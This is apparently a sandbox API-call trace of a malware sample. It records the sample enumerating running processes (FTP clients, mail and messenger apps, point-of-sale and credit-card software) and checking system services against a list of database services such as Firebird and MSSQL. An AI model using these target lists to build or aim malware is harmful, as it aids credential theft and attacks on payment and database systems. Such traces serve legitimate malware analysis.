	[0065.414] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0065.415] lstrlenW (lpString="leechftp.exe") returned 12
	[0065.415] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0065.416] lstrlenW (lpString="ncftp.exe") returned 9
	[0065.416] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0065.417] lstrlenW (lpString="notepad.exe") returned 11
	[0065.417] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0065.418] lstrlenW (lpString="operamail.exe") returned 13
	[0065.418] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0065.419] lstrlenW (lpString="pidgin.exe") returned 10
	[0065.419] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0065.420] lstrlenW (lpString="scriptftp.exe") returned 13
	[0065.420] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0065.420] lstrlenW (lpString="skype.exe") returned 9
	[0065.421] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0065.421] lstrlenW (lpString="smartftp.exe") returned 12
	[0065.421] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0065.422] lstrlenW (lpString="thunderbird.exe") returned 15
	[0065.422] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0065.423] lstrlenW (lpString="totalcmd.exe") returned 12
	[0065.423] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0065.444] lstrlenW (lpString="trillian.exe") returned 12
	[0065.444] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0065.444] lstrlenW (lpString="webdrive.exe") returned 12
	[0065.445] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0065.445] lstrlenW (lpString="whatsapp.exe") returned 12
	[0065.445] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0065.446] lstrlenW (lpString="winscp.exe") returned 10
	[0065.446] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0065.447] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0065.447] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0065.448] lstrlenW (lpString="active-charge.exe") returned 17
	[0065.448] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0065.449] lstrlenW (lpString="accupos.exe") returned 11
	[0065.449] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0065.450] lstrlenW (lpString="afr38.exe") returned 9
	[0065.450] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0065.451] lstrlenW (lpString="aldelo.exe") returned 10
	[0065.451] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0065.452] lstrlenW (lpString="ccv_server.exe") returned 14
	[0065.452] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0065.452] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0065.453] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0065.453] lstrlenW (lpString="creditservice.exe") returned 17
	[0065.453] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0065.454] lstrlenW (lpString="edcsvr.exe") returned 10
	[0065.454] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0065.455] lstrlenW (lpString="fpos.exe") returned 8
	[0065.455] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0065.456] lstrlenW (lpString="isspos.exe") returned 10
	[0065.456] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0065.457] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0065.457] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0065.457] lstrlenW (lpString="omnipos.exe") returned 11
	[0065.458] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0065.458] lstrlenW (lpString="spcwin.exe") returned 10
	[0065.458] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0065.459] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0065.459] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0065.460] lstrlenW (lpString="utg2.exe") returned 8
	[0065.460] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0065.461] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0065.461] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0065.461] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0065.461] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0065.462] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0065.462] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0065.463] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0065.463] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0065.463] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0065.464] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0065.464] lstrlenW (lpString="taskhostw.exe") returned 13
	[0065.464] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0065.465] lstrlenW (lpString="taskhostw.exe") returned 13
	[0065.465] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0065.466] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0065.466] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0065.466] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0065.466] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1
	[0065.467] lstrlenW (lpString="sc.exe") returned 6
	[0065.467] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0065.468] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0065.468] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0065.468] lstrlenW (lpString="UsoClient.exe") returned 13
	[0065.468] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0065.469] lstrlenW (lpString="conhost.exe") returned 11
	[0065.469] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x116c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0065.470] lstrlenW (lpString="conhost.exe") returned 11
	[0065.470] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0065.470] lstrlenW (lpString="conhost.exe") returned 11
	[0065.470] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.471] lstrlenW (lpString="svchost.exe") returned 11
	[0065.471] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0065.472] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0065.472] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0065.472] lstrlenW (lpString="svchost.exe") returned 11
	[0065.473] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0065.473] lstrlenW (lpString="cmd.exe") returned 7
	[0065.473] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0065.474] lstrlenW (lpString="conhost.exe") returned 11
	[0065.474] Process32NextW (in: hSnapshot=0x29c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0065.474] CloseHandle (hObject=0x29c) returned 1
	[0065.474] Sleep (dwMilliseconds=0x1f4) 
	[0066.670] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53ea40
	[0066.672] EnumServicesStatusExW (in: hSCManager=0x53ea40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0066.673] GetLastError () returned 0xea
	[0066.673] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x55afe8
	[0066.673] EnumServicesStatusExW (in: hSCManager=0x53ea40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55afe8, cbBufSize=0x1ce8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55afe8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0066.674] CloseServiceHandle (hSCObject=0x53ea40) returned 1
	[0066.674] lstrlenW (lpString="Appinfo") returned 7
	[0066.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0066.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0066.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0066.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0066.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0066.674] lstrlenW (lpString="AppXSvc") returned 7
	[0066.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0066.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0066.674] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0066.674] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0066.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0066.674] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0066.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0066.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0066.674] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0066.674] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0066.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0066.674] lstrlenW (lpString="Audiosrv") returned 8
	[0066.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0066.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0066.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0066.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0066.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0066.675] lstrlenW (lpString="BFE") returned 3
	[0066.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0066.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0066.675] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0066.675] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0066.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0066.675] lstrlenW (lpString="BITS") returned 4
	[0066.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0066.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0066.675] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0066.675] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0066.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0066.675] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0066.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0066.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0066.675] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0066.675] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0066.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0066.675] lstrlenW (lpString="CDPSvc") returned 6
	[0066.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0066.676] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0066.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0066.676] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0066.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0066.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0066.676] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0066.676] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0066.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0066.676] lstrlenW (lpString="CryptSvc") returned 8
	[0066.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0066.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0066.676] lstrlenW (lpString="DcomLaunch") returned 10
	[0066.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0066.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0066.676] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0066.676] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
